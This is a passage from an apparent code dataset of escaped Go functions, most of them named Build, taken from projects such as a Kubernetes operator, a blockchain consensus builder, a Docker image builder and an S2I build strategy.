[]cache.SharedIndexInformer{\\n\\t\\tcontrollerConfigInformer.Informer(),\\n\\t\\tserviceAccountInfomer.Informer(),\\n\\t\\tcrdInformer.Informer(),\\n\\t\\tdeployInformer.Informer(),\\n\\t\\tdaemonsetInformer.Informer(),\\n\\t\\tclusterRoleInformer.Informer(),\\n\\t\\tclusterRoleBindingInformer.Informer(),\\n\\t\\tmcoCmInformer.Informer(),\\n\\t\\tclusterCmInfomer.Informer(),\\n\\t\\tinfraInformer.Informer(),\\n\\t\\tnetworkInformer.Informer(),\\n\\t\\tmcpInformer.Informer(),\\n\\t\\tproxyInformer.Informer(),\\n\\t\\toseKubeAPIInformer.Informer(),\\n\\t\\tnodeInformer.Informer(),\\n\\t\\tdnsInformer.Informer(),\\n\\t\\tmaoSecretInformer.Informer(),\\n\\t} {\\n\\t\\ti.AddEventHandler(optr.eventHandler())\\n\\t}\\n\\n\\toptr.syncHandler = optr.sync\\n\\n\\toptr.imgLister = imgInformer.Lister()\\n\\toptr.clusterCmLister = clusterCmInfomer.Lister()\\n\\toptr.clusterCmListerSynced = clusterCmInfomer.Informer().HasSynced\\n\\toptr.mcpLister = mcpInformer.Lister()\\n\\toptr.mcpListerSynced = mcpInformer.Informer().HasSynced\\n\\toptr.ccLister = controllerConfigInformer.Lister()\\n\\toptr.ccListerSynced = controllerConfigInformer.Informer().HasSynced\\n\\toptr.mcLister = mcInformer.Lister()\\n\\toptr.mcListerSynced = mcInformer.Informer().HasSynced\\n\\toptr.proxyLister = proxyInformer.Lister()\\n\\toptr.proxyListerSynced = proxyInformer.Informer().HasSynced\\n\\toptr.oseKubeAPILister = oseKubeAPIInformer.Lister()\\n\\toptr.oseKubeAPIListerSynced = oseKubeAPIInformer.Informer().HasSynced\\n\\toptr.nodeLister = nodeInformer.Lister()\\n\\toptr.nodeListerSynced = nodeInformer.Informer().HasSynced\\n\\n\\toptr.imgListerSynced = imgInformer.Informer().HasSynced\\n\\toptr.maoSecretInformerSynced = maoSecretInformer.Informer().HasSynced\\n\\toptr.serviceAccountInformerSynced = serviceAccountInfomer.Informer().HasSynced\\n\\toptr.clusterRoleInformerSynced = clusterRoleInformer.Informer().HasSynced\\n\\toptr.clusterRoleBindingInformerSynced = clusterRoleBindingInformer.Informer().HasSynced\\n\\toptr.mcoCmLister = mcoCmInformer.Lister()\\n\\toptr.mcoCmListerSynced = mcoCmInformer.Informer().HasSynced\\n\\toptr.crdLister = crdInformer.Lister()\\n\\toptr.crdListerSynced = crdInformer.Informer().HasSynced\\n\\toptr.deployLister = deployInformer.Lister()\\n\\toptr.deployListerSynced = deployInformer.Informer().HasSynced\\n\\toptr.daemonsetLister = daemonsetInformer.Lister()\\n\\toptr.daemonsetListerSynced = daemonsetInformer.Informer().HasSynced\\n\\toptr.infraLister = infraInformer.Lister()\\n\\toptr.infraListerSynced = infraInformer.Informer().HasSynced\\n\\toptr.networkLister = networkInformer.Lister()\\n\\toptr.networkListerSynced = networkInformer.Informer().HasSynced\\n\\toptr.dnsLister = dnsInformer.Lister()\\n\\toptr.dnsListerSynced = dnsInformer.Informer().HasSynced\\n\\n\\toptr.vStore.Set(\\\"operator\\\", version.ReleaseVersion)\\n\\n\\treturn optr\\n}\",\n \"func (b *Builder) Build() (*RollDPoS, error) {\\n\\tif b.chain == nil {\\n\\t\\treturn nil, errors.Wrap(ErrNewRollDPoS, \\\"blockchain APIs is nil\\\")\\n\\t}\\n\\tif b.broadcastHandler == nil {\\n\\t\\treturn nil, errors.Wrap(ErrNewRollDPoS, \\\"broadcast callback is nil\\\")\\n\\t}\\n\\tif b.clock == nil {\\n\\t\\tb.clock = clock.New()\\n\\t}\\n\\tb.cfg.DB.DbPath = b.cfg.Consensus.ConsensusDBPath\\n\\tctx, err := NewRollDPoSCtx(\\n\\t\\tconsensusfsm.NewConsensusConfig(b.cfg.Consensus.FSM, b.cfg.DardanellesUpgrade, b.cfg.Genesis, b.cfg.Consensus.Delay),\\n\\t\\tb.cfg.DB,\\n\\t\\tb.cfg.SystemActive,\\n\\t\\tb.cfg.Consensus.ToleratedOvertime,\\n\\t\\tb.cfg.Genesis.TimeBasedRotation,\\n\\t\\tb.chain,\\n\\t\\tb.blockDeserializer,\\n\\t\\tb.rp,\\n\\t\\tb.broadcastHandler,\\n\\t\\tb.delegatesByEpochFunc,\\n\\t\\tb.proposersByEpochFunc,\\n\\t\\tb.encodedAddr,\\n\\t\\tb.priKey,\\n\\t\\tb.clock,\\n\\t\\tb.cfg.Genesis.BeringBlockHeight,\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"error when constructing consensus context\\\")\\n\\t}\\n\\tcfsm, err := consensusfsm.NewConsensusFSM(ctx, b.clock)\\n\\tif err != nil {\\n\\t\\treturn nil, errors.Wrap(err, \\\"error when constructing the consensus FSM\\\")\\n\\t}\\n\\treturn &RollDPoS{\\n\\t\\tcfsm: cfsm,\\n\\t\\tctx: ctx,\\n\\t\\tstartDelay: b.cfg.Consensus.Delay,\\n\\t\\tready: make(chan interface{}),\\n\\t}, nil\\n}\",\n \"func (b fileInputBuilder) Build(ctx context.Context, cfg task.ExecutorInputBuilderConfig, deps task.ExecutorInputBuilderDependencies, target *task.ExecutorInputBuilderTarget) error {\\n\\turi := cfg.AnnotatedValue.GetData()\\n\\tdeps.Log.Debug().\\n\\t\\tInt(\\\"sequence-index\\\", cfg.AnnotatedValueIndex).\\n\\t\\tStr(\\\"uri\\\", uri).\\n\\t\\tStr(\\\"input\\\", cfg.InputSpec.Name).\\n\\t\\tStr(\\\"task\\\", cfg.TaskSpec.Name).\\n\\t\\tMsg(\\\"Preparing file input value\\\")\\n\\n\\t// Prepare readonly volume for URI\\n\\tresp, err := deps.FileSystem.CreateVolumeForRead(ctx, &fs.CreateVolumeForReadRequest{\\n\\t\\tURI: uri,\\n\\t\\tOwner: &cfg.OwnerRef,\\n\\t\\tNamespace: cfg.Pipeline.GetNamespace(),\\n\\t})\\n\\tif err != nil {\\n\\t\\treturn maskAny(err)\\n\\t}\\n\\t// TODO handle case where node is different\\n\\tif nodeName := resp.GetNodeName(); nodeName != \\\"\\\" {\\n\\t\\ttarget.NodeName = &nodeName\\n\\t}\\n\\n\\t// Mount PVC or HostPath, depending on result\\n\\tvolName := util.FixupKubernetesName(fmt.Sprintf(\\\"input-%s-%d\\\", cfg.InputSpec.Name, cfg.AnnotatedValueIndex))\\n\\tif resp.GetVolumeName() != \\\"\\\" {\\n\\t\\t// Get created PersistentVolume\\n\\t\\tvar pv corev1.PersistentVolume\\n\\t\\tpvKey := client.ObjectKey{\\n\\t\\t\\tName: resp.GetVolumeName(),\\n\\t\\t}\\n\\t\\tif err := deps.Client.Get(ctx, pvKey, &pv); err != nil {\\n\\t\\t\\tdeps.Log.Warn().Err(err).Msg(\\\"Failed to get PersistentVolume\\\")\\n\\t\\t\\treturn maskAny(err)\\n\\t\\t}\\n\\n\\t\\t// Add PV to resources for deletion list (if needed)\\n\\t\\tif resp.DeleteAfterUse {\\n\\t\\t\\ttarget.Resources = append(target.Resources, &pv)\\n\\t\\t}\\n\\n\\t\\t// Create PVC\\n\\t\\tpvcName := util.FixupKubernetesName(fmt.Sprintf(\\\"%s-%s-%s-%d-%s\\\", cfg.Pipeline.GetName(), cfg.TaskSpec.Name, cfg.InputSpec.Name, cfg.AnnotatedValueIndex, uniuri.NewLen(6)))\\n\\t\\tstorageClassName := pv.Spec.StorageClassName\\n\\t\\tpvc := corev1.PersistentVolumeClaim{\\n\\t\\t\\tObjectMeta: metav1.ObjectMeta{\\n\\t\\t\\t\\tName: pvcName,\\n\\t\\t\\t\\tNamespace: cfg.Pipeline.GetNamespace(),\\n\\t\\t\\t\\tOwnerReferences: []metav1.OwnerReference{cfg.OwnerRef},\\n\\t\\t\\t},\\n\\t\\t\\tSpec: corev1.PersistentVolumeClaimSpec{\\n\\t\\t\\t\\tAccessModes: pv.Spec.AccessModes,\\n\\t\\t\\t\\tVolumeName: resp.GetVolumeName(),\\n\\t\\t\\t\\tResources: corev1.ResourceRequirements{\\n\\t\\t\\t\\t\\tRequests: pv.Spec.Capacity,\\n\\t\\t\\t\\t},\\n\\t\\t\\t\\tStorageClassName: &storageClassName,\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\tif err := deps.Client.Create(ctx, &pvc); err != nil {\\n\\t\\t\\treturn maskAny(err)\\n\\t\\t}\\n\\t\\ttarget.Resources = append(target.Resources, &pvc)\\n\\n\\t\\t// Add volume for the pod\\n\\t\\tvol := corev1.Volume{\\n\\t\\t\\tName: volName,\\n\\t\\t\\tVolumeSource: corev1.VolumeSource{\\n\\t\\t\\t\\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\\n\\t\\t\\t\\t\\tClaimName: pvcName,\\n\\t\\t\\t\\t\\tReadOnly: true,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\\n\\t} else if resp.GetVolumeClaimName() != \\\"\\\" {\\n\\t\\t// Add PVC to resources for deletion list (if needed)\\n\\t\\tif resp.DeleteAfterUse {\\n\\t\\t\\t// Get created PersistentVolume\\n\\t\\t\\tvar pvc corev1.PersistentVolumeClaim\\n\\t\\t\\tpvcKey := client.ObjectKey{\\n\\t\\t\\t\\tName: resp.GetVolumeClaimName(),\\n\\t\\t\\t\\tNamespace: cfg.Pipeline.GetNamespace(),\\n\\t\\t\\t}\\n\\t\\t\\tif err := deps.Client.Get(ctx, pvcKey, &pvc); err != nil {\\n\\t\\t\\t\\tdeps.Log.Warn().Err(err).Msg(\\\"Failed to get PersistentVolumeClaim\\\")\\n\\t\\t\\t\\treturn maskAny(err)\\n\\t\\t\\t}\\n\\t\\t\\ttarget.Resources = append(target.Resources, &pvc)\\n\\t\\t}\\n\\n\\t\\t// Add volume for the pod, unless such a volume already exists\\n\\t\\tif vol, found := util.GetVolumeWithForPVC(&target.Pod.Spec, resp.GetVolumeClaimName()); !found {\\n\\t\\t\\tvol := corev1.Volume{\\n\\t\\t\\t\\tName: volName,\\n\\t\\t\\t\\tVolumeSource: corev1.VolumeSource{\\n\\t\\t\\t\\t\\tPersistentVolumeClaim: &corev1.PersistentVolumeClaimVolumeSource{\\n\\t\\t\\t\\t\\t\\tClaimName: resp.GetVolumeClaimName(),\\n\\t\\t\\t\\t\\t\\tReadOnly: true,\\n\\t\\t\\t\\t\\t},\\n\\t\\t\\t\\t},\\n\\t\\t\\t}\\n\\t\\t\\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\\n\\t\\t} else {\\n\\t\\t\\tvolName = vol.Name\\n\\t\\t}\\n\\t} else if resp.GetVolumePath() != \\\"\\\" {\\n\\t\\t// Mount VolumePath as HostPath volume\\n\\t\\tdirType := corev1.HostPathDirectoryOrCreate\\n\\t\\t// Add volume for the pod\\n\\t\\tvol := corev1.Volume{\\n\\t\\t\\tName: volName,\\n\\t\\t\\tVolumeSource: corev1.VolumeSource{\\n\\t\\t\\t\\tHostPath: &corev1.HostPathVolumeSource{\\n\\t\\t\\t\\t\\tPath: resp.GetVolumePath(),\\n\\t\\t\\t\\t\\tType: &dirType,\\n\\t\\t\\t\\t},\\n\\t\\t\\t},\\n\\t\\t}\\n\\t\\ttarget.Pod.Spec.Volumes = append(target.Pod.Spec.Volumes, vol)\\n\\t\\t// Ensure pod is schedule on node\\n\\t\\tif nodeName := resp.GetNodeName(); nodeName != \\\"\\\" {\\n\\t\\t\\tif target.Pod.Spec.NodeName == \\\"\\\" {\\n\\t\\t\\t\\ttarget.Pod.Spec.NodeName = nodeName\\n\\t\\t\\t} else if target.Pod.Spec.NodeName != nodeName {\\n\\t\\t\\t\\t// Found conflict\\n\\t\\t\\t\\tdeps.Log.Error().\\n\\t\\t\\t\\t\\tStr(\\\"pod-nodeName\\\", target.Pod.Spec.NodeName).\\n\\t\\t\\t\\t\\tStr(\\\"pod-nodeNameRequest\\\", nodeName).\\n\\t\\t\\t\\t\\tMsg(\\\"Conflicting pod node spec\\\")\\n\\t\\t\\t\\treturn maskAny(fmt.Errorf(\\\"Conflicting Node assignment\\\"))\\n\\t\\t\\t}\\n\\t\\t}\\n\\t} else {\\n\\t\\t// No valid respond\\n\\t\\treturn maskAny(fmt.Errorf(\\\"FileSystem service return invalid response\\\"))\\n\\t}\\n\\n\\t// Map volume in container fs namespace\\n\\tmountPath := filepath.Join(\\\"/koalja\\\", \\\"inputs\\\", cfg.InputSpec.Name, strconv.Itoa(cfg.AnnotatedValueIndex))\\n\\ttarget.Container.VolumeMounts = append(target.Container.VolumeMounts, corev1.VolumeMount{\\n\\t\\tName: volName,\\n\\t\\tReadOnly: true,\\n\\t\\tMountPath: mountPath,\\n\\t\\tSubPath: resp.GetSubPath(),\\n\\t})\\n\\n\\t// Create template data\\n\\ttarget.TemplateData = append(target.TemplateData, map[string]interface{}{\\n\\t\\t\\\"volumeName\\\": resp.GetVolumeName(),\\n\\t\\t\\\"volumeClaimName\\\": resp.GetVolumeClaimName(),\\n\\t\\t\\\"volumePath\\\": resp.GetVolumePath(),\\n\\t\\t\\\"mountPath\\\": mountPath,\\n\\t\\t\\\"subPath\\\": resp.GetSubPath(),\\n\\t\\t\\\"nodeName\\\": resp.GetNodeName(),\\n\\t\\t\\\"path\\\": filepath.Join(mountPath, resp.GetLocalPath()),\\n\\t\\t\\\"base\\\": filepath.Base(resp.GetLocalPath()),\\n\\t\\t\\\"dir\\\": filepath.Dir(resp.GetLocalPath()),\\n\\t})\\n\\n\\treturn nil\\n}\",\n \"func (c Config) Build(opts ...zap.Option) (l *zap.Logger, err error) {\\n\\tvar zc zap.Config\\n\\tzc, err = c.NewZapConfig()\\n\\tif err == nil {\\n\\t\\tl, err = zc.Build(opts...)\\n\\t}\\n\\n\\treturn\\n}\",\n \"func (b *Builder) Build(ctx context.Context) (gapir.Payload, PostDataHandler, NotificationHandler, FenceReadyRequestCallback, error) {\\n\\tctx = status.Start(ctx, \\\"Build\\\")\\n\\tdefer status.Finish(ctx)\\n\\tctx = log.Enter(ctx, \\\"Build\\\")\\n\\n\\tif config.DebugReplayBuilder {\\n\\t\\tlog.I(ctx, \\\"Instruction count: %d\\\", len(b.instructions))\\n\\t\\tb.assertResourceSizesAreAsExpected(ctx)\\n\\t}\\n\\n\\tbyteOrder := b.memoryLayout.GetEndian()\\n\\n\\topcodes := &bytes.Buffer{}\\n\\tw := endian.Writer(opcodes, byteOrder)\\n\\tid := uint32(0)\\n\\n\\tvml := b.layoutVolatileMemory(ctx, w)\\n\\n\\tfor index, i := range b.instructions {\\n\\t\\tif (index%10000 == 9999) || (index == len(b.instructions)-1) {\\n\\t\\t\\tstatus.UpdateProgress(ctx, uint64(index), uint64(len(b.instructions)))\\n\\t\\t}\\n\\t\\tif label, ok := i.(asm.Label); ok {\\n\\t\\t\\tid = label.Value\\n\\t\\t}\\n\\t\\tif err := i.Encode(vml, w); err != nil {\\n\\t\\t\\terr = fmt.Errorf(\\\"Encode %T failed for command with id %v: %v\\\", i, id, err)\\n\\t\\t\\treturn gapir.Payload{}, nil, nil, nil, err\\n\\t\\t}\\n\\t}\\n\\n\\tpayload := gapir.Payload{\\n\\t\\tStackSize: uint32(512), // TODO: Calculate stack size\\n\\t\\tVolatileMemorySize: uint32(vml.size),\\n\\t\\tConstants: b.constantMemory.data,\\n\\t\\tResources: b.resources,\\n\\t\\tOpcodes: opcodes.Bytes(),\\n\\t}\\n\\tb.volatileSpace += vml.size\\n\\n\\tif config.DebugReplayBuilder {\\n\\t\\tlog.E(ctx, \\\"----------------------------------\\\")\\n\\t\\tlog.E(ctx, \\\"Stack size: 0x%x\\\", payload.StackSize)\\n\\t\\tlog.E(ctx, \\\"Volatile memory size: 0x%x\\\", payload.VolatileMemorySize)\\n\\t\\tlog.E(ctx, \\\"Constant memory size: 0x%x\\\", len(payload.Constants))\\n\\t\\tlog.E(ctx, \\\"Opcodes size: 0x%x\\\", len(payload.Opcodes))\\n\\t\\tlog.E(ctx, \\\"Resource count: %d\\\", len(payload.Resources))\\n\\t\\tlog.E(ctx, \\\"Decoder count: %d\\\", len(b.decoders))\\n\\t\\tlog.E(ctx, \\\"Readers count: %d\\\", len(b.notificationReaders))\\n\\t\\tlog.E(ctx, \\\"----------------------------------\\\")\\n\\t}\\n\\n\\t// Make a copy of the reference of the finished decoder list to cut off the\\n\\t// connection between the builder and furture uses of the decoders so that\\n\\t// the builder do not need to be kept alive when using these decoders.\\n\\tdecoders := b.decoders\\n\\thandlePost := func(pd *gapir.PostData) {\\n\\t\\t// TODO: should we skip it instead of return error?\\n\\t\\tctx = log.Enter(ctx, \\\"PostDataHandler\\\")\\n\\t\\tif pd == nil {\\n\\t\\t\\tlog.E(ctx, \\\"Cannot handle nil PostData\\\")\\n\\t\\t}\\n\\t\\tcrash.Go(func() {\\n\\t\\t\\tfor _, p := range pd.GetPostDataPieces() {\\n\\t\\t\\t\\tid := p.GetID()\\n\\t\\t\\t\\tdata := p.GetData()\\n\\t\\t\\t\\tif id >= uint64(len(decoders)) {\\n\\t\\t\\t\\t\\tlog.E(ctx, \\\"No valid decoder found for %v'th post data\\\", id)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\t// Check that each Postback consumes its expected number of bytes.\\n\\t\\t\\t\\tvar err error\\n\\t\\t\\t\\tif len(data) != decoders[id].expectedSize {\\n\\t\\t\\t\\t\\terr = fmt.Errorf(\\\"%d'th post size mismatch, actual size: %d, expected size: %d\\\", id, len(data), decoders[id].expectedSize)\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tr := endian.Reader(bytes.NewReader(data), byteOrder)\\n\\t\\t\\t\\tdecoders[id].decode(r, err)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\\n\\n\\t// Make a copy of the reference of the finished notification reader map to\\n\\t// cut off the connection between the builder and future uses of the readers\\n\\t// so that the builder do not need to be kept alive when using these readers.\\n\\treaders := b.notificationReaders\\n\\thandleNotification := func(n *gapir.Notification) {\\n\\t\\tif n == nil {\\n\\t\\t\\tlog.E(ctx, \\\"Cannot handle nil Notification\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tcrash.Go(func() {\\n\\t\\t\\tid := n.GetId()\\n\\t\\t\\tif r, ok := readers[id]; ok {\\n\\t\\t\\t\\tr(*n)\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tlog.W(ctx, \\\"Unknown notification received, ID is %d: %v\\\", id, n)\\n\\t\\t\\t}\\n\\t\\t})\\n\\t}\\n\\n\\tcallbacks := b.fenceReadyCallbacks\\n\\tfenceReadyCallback := func(n *gapir.FenceReadyRequest) {\\n\\t\\tif n == nil {\\n\\t\\t\\tlog.E(ctx, \\\"Cannot handle nil FenceReadyRequest\\\")\\n\\t\\t\\treturn\\n\\t\\t}\\n\\t\\tid := n.GetId()\\n\\t\\tif r, ok := callbacks[id]; ok {\\n\\t\\t\\tr(n)\\n\\t\\t} else {\\n\\t\\t\\tlog.W(ctx, \\\"Unknown fence ready received, ID is %d: %v\\\", id, n)\\n\\t\\t}\\n\\t}\\n\\n\\treturn payload, handlePost, handleNotification, fenceReadyCallback, nil\\n}\",\n \"func (workflow *Workflow) Build(\\n\\tlayerDir, whiteoutSpec, parentBootstrapPath, bootstrapPath string,\\n) (string, error) {\\n\\tworkflow.bootstrapPath = bootstrapPath\\n\\n\\tif parentBootstrapPath != \\\"\\\" {\\n\\t\\tworkflow.parentBootstrapPath = parentBootstrapPath\\n\\t}\\n\\n\\tif err := workflow.builder.Run(BuilderOption{\\n\\t\\tParentBootstrapPath: workflow.parentBootstrapPath,\\n\\t\\tBootstrapPath: workflow.bootstrapPath,\\n\\t\\tRootfsPath: layerDir,\\n\\t\\tBackendType: \\\"localfs\\\",\\n\\t\\tBackendConfig: workflow.backendConfig,\\n\\t\\tPrefetchDir: workflow.PrefetchDir,\\n\\t\\tWhiteoutSpec: whiteoutSpec,\\n\\t\\tOutputJSONPath: workflow.debugJSONPath,\\n\\t}); err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, fmt.Sprintf(\\\"build layer %s\\\", layerDir))\\n\\t}\\n\\n\\tworkflow.parentBootstrapPath = workflow.bootstrapPath\\n\\n\\tblobPath, err := workflow.getLatestBlobPath()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"get latest blob\\\")\\n\\t}\\n\\n\\treturn blobPath, nil\\n}\",\n \"func exprBuild(eb expression.Builder) (expr expression.Expression, err error) {\\n\\texpr, err = eb.Build()\\n\\tvar uperr expression.UnsetParameterError\\n\\tif errors.As(err, &uperr) && strings.Contains(uperr.Error(), \\\"Builder\\\") {\\n\\t\\t// a zero builder as an argument is fine, so we don't report this\\n\\t\\t// error to the user.\\n\\t} else if err != nil {\\n\\t\\treturn expr, fmt.Errorf(\\\"failed to build expression: %T\\\", err)\\n\\t}\\n\\n\\treturn expr, nil\\n}\",\n \"func BuildFromTemplate(yamlTemplate string, values interface{}) (*batchv1.Job, error) {\\n\\tyaml, err := api.ProcessTemplate(yamlTemplate, values)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\treturn Deserialize(yaml)\\n}\",\n \"func (Map) Build(vt ValueType, from, to string) *Map {\\n\\treturn &Map{\\n\\t\\tType: vt,\\n\\t\\tFrom: strings.Split(from, \\\".\\\"),\\n\\t\\tTo: strings.Split(to, \\\".\\\"),\\n\\t}\\n}\",\n \"func BuildImageFromConfig(c *Config) (string, error) {\\n\\tctx := context.Background()\\n\\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\n\\t// build a complete Dockerfile from the template with the config\\n\\t// create build context from the dockerfile with some settings, create a tar from it\\n\\ttmpDir, err := ioutil.TempDir(os.TempDir(), \\\"d2b-imagedir\\\")\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t}\\n\\n\\t// create \\\"${tmpDir}/tree\\\" for files in c.Files\\n\\t// and in dockerfile they will be copied over using COPY tree/ /\\n\\tgenerateFilesIfAny(c, path.Join(tmpDir, \\\"tree\\\"))\\n\\n\\tdockerfileContent := generateDockerfileContent(c)\\n\\tlog.Printf(\\\"[info] dockerfile content is %s\\\\n\\\", dockerfileContent)\\n\\n\\tdockerfile, err := os.Create(path.Join(tmpDir, \\\"Dockerfile\\\"))\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Fail to create a Dockerfile %s\\\\n\\\", err)\\n\\t}\\n\\n\\tif _, err := dockerfile.Write([]byte(dockerfileContent)); err != nil {\\n\\t\\tlog.Fatalf(\\\"Fail to write files %s\\\\n\\\", err)\\n\\t}\\n\\n\\tlog.Printf(\\\"[info] build image from %s\\\\n\\\", tmpDir)\\n\\n\\tbuildContext, err := archive.TarWithOptions(tmpDir, &archive.TarOptions{})\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Fail to write files %s\\\\n\\\", err)\\n\\t}\\n\\n\\t// this will return additional information as:\\n\\t//{\\\"aux\\\":{\\\"ID\\\":\\\"sha256:818c2f5454779e15fa173b517a6152ef73dd0b6e3a93262271101c5f4320d465\\\"}}\\n\\tout := []types.ImageBuildOutput{\\n\\t\\t{\\n\\t\\t\\tType: \\\"string\\\",\\n\\t\\t\\tAttrs: map[string]string{\\n\\t\\t\\t\\t\\\"ID\\\": \\\"ID\\\",\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\n\\tresp, err := cli.ImageBuild(ctx, buildContext, types.ImageBuildOptions{Outputs: out})\\n\\tif err != nil {\\n\\t\\tlog.Fatalf(\\\"Failed to build image %s\\\\n\\\", err)\\n\\t}\\n\\n\\tvar imageId string\\n\\tdefer resp.Body.Close()\\n\\tscanner := bufio.NewScanner(resp.Body)\\n\\tfor scanner.Scan() {\\n\\t\\tmessage := scanner.Text()\\n\\t\\t// TODO: turn it on\\n\\t\\tlog.Println(message)\\n\\t\\tif strings.Contains(message, \\\"errorDetail\\\") {\\n\\t\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Faild to create image %s\\\", message)\\n\\t\\t}\\n\\n\\t\\t// we didn't enable only ID so expect only one entry with \\\"aux\\\"\\n\\t\\tif strings.Contains(message, \\\"aux\\\") {\\n\\t\\t\\tid := ResultImageID{}\\n\\t\\t\\tif err := json.Unmarshal([]byte(message), &id); err != nil {\\n\\t\\t\\t\\tlog.Fatalf(\\\"Failt to get the image id %s\\\\n\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\timageId = id.Aux.ID\\n\\t\\t\\tlog.Printf(\\\"[Info] image id %s\\\\n\\\", imageId)\\n\\t\\t}\\n\\t}\\n\\n\\tif imageId == \\\"\\\" {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"Faild to create image - no image id genereated, enable debug to see docker build output\\\")\\n\\t}\\n\\n\\treturn imageId, nil\\n}\",\n \"func BuildArborescence() {\\n\\tvar data = filesystemhelper.OpenFile(\\\"./configs/\\\" + language + \\\".json\\\")\\n\\tfilesystemhelper.CreateDirectory(name)\\n\\tos.Chdir(name)\\n\\tnewDir, err := os.Getwd()\\n\\tif err != nil {\\n\\t\\tlog.Fatal(err)\\n\\t\\tos.Exit(1)\\n\\t}\\n\\tfmt.Println(newDir + \\\" directory created\\\")\\n\\n\\tvar config jsonparser.Config\\n\\tjsonparser.ParseConfig([]byte(data), &config)\\n\\n\\tfilesystemhelper.BuildProjectDirectories(config.Directories)\\n\\tfilesystemhelper.CreateProjectFiles(config.Files)\\n\\tfilesystemhelper.LaunchCommands(config.Commands)\\n}\",\n \"func (r *Rest) Build(name string) *Rest {\\n\\tr.endpoints[name] = r.tmp\\n\\tr.tmp = RestEndPoint{}\\n\\treturn r\\n}\",\n \"func (s *STIBuilder) Build() error {\\n\\tvar push bool\\n\\n\\t// if there is no output target, set one up so the docker build logic\\n\\t// (which requires a tag) will still work, but we won't push it at the end.\\n\\tif s.build.Spec.Output.To == nil || len(s.build.Spec.Output.To.Name) == 0 {\\n\\t\\ts.build.Spec.Output.To = &kapi.ObjectReference{\\n\\t\\t\\tKind: \\\"DockerImage\\\",\\n\\t\\t\\tName: noOutputDefaultTag,\\n\\t\\t}\\n\\t\\tpush = false\\n\\t} else {\\n\\t\\tpush = true\\n\\t}\\n\\ttag := s.build.Spec.Output.To.Name\\n\\n\\tconfig := &stiapi.Config{\\n\\t\\tBuilderImage: s.build.Spec.Strategy.SourceStrategy.From.Name,\\n\\t\\tDockerConfig: &stiapi.DockerConfig{Endpoint: s.dockerSocket},\\n\\t\\tSource: s.build.Spec.Source.Git.URI,\\n\\t\\tContextDir: s.build.Spec.Source.ContextDir,\\n\\t\\tDockerCfgPath: os.Getenv(dockercfg.PullAuthType),\\n\\t\\tTag: tag,\\n\\t\\tScriptsURL: s.build.Spec.Strategy.SourceStrategy.Scripts,\\n\\t\\tEnvironment: buildEnvVars(s.build),\\n\\t\\tLabelNamespace: api.DefaultDockerLabelNamespace,\\n\\t\\tIncremental: s.build.Spec.Strategy.SourceStrategy.Incremental,\\n\\t\\tForcePull: s.build.Spec.Strategy.SourceStrategy.ForcePull,\\n\\t}\\n\\tif s.build.Spec.Revision != nil && s.build.Spec.Revision.Git != nil &&\\n\\t\\ts.build.Spec.Revision.Git.Commit != \\\"\\\" {\\n\\t\\tconfig.Ref = s.build.Spec.Revision.Git.Commit\\n\\t} else if s.build.Spec.Source.Git.Ref != \\\"\\\" {\\n\\t\\tconfig.Ref = s.build.Spec.Source.Git.Ref\\n\\t}\\n\\n\\tallowedUIDs := os.Getenv(\\\"ALLOWED_UIDS\\\")\\n\\tglog.V(2).Infof(\\\"The value of ALLOWED_UIDS is [%s]\\\", allowedUIDs)\\n\\tif len(allowedUIDs) > 0 {\\n\\t\\terr := config.AllowedUIDs.Set(allowedUIDs)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif errs := s.configValidator.ValidateConfig(config); len(errs) != 0 {\\n\\t\\tvar buffer bytes.Buffer\\n\\t\\tfor _, ve := range errs {\\n\\t\\t\\tbuffer.WriteString(ve.Error())\\n\\t\\t\\tbuffer.WriteString(\\\", \\\")\\n\\t\\t}\\n\\t\\treturn errors.New(buffer.String())\\n\\t}\\n\\n\\t// If DockerCfgPath is provided in api.Config, then attempt to read the the\\n\\t// dockercfg file and get the authentication for pulling the builder image.\\n\\tconfig.PullAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(config.BuilderImage, dockercfg.PullAuthType)\\n\\tconfig.IncrementalAuthentication, _ = dockercfg.NewHelper().GetDockerAuth(tag, dockercfg.PushAuthType)\\n\\n\\tglog.V(2).Infof(\\\"Creating a new S2I builder with build config: %#v\\\\n\\\", describe.DescribeConfig(config))\\n\\tbuilder, err := s.builderFactory.GetStrategy(config)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tglog.V(4).Infof(\\\"Starting S2I build from %s/%s BuildConfig ...\\\", s.build.Namespace, s.build.Name)\\n\\n\\t// Set the HTTP and HTTPS proxies to be used by the S2I build.\\n\\toriginalProxies := setHTTPProxy(s.build.Spec.Source.Git.HTTPProxy, s.build.Spec.Source.Git.HTTPSProxy)\\n\\n\\tif _, err = builder.Build(config); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// Reset proxies back to their original value.\\n\\tresetHTTPProxy(originalProxies)\\n\\n\\tif push {\\n\\t\\t// Get the Docker push authentication\\n\\t\\tpushAuthConfig, authPresent := 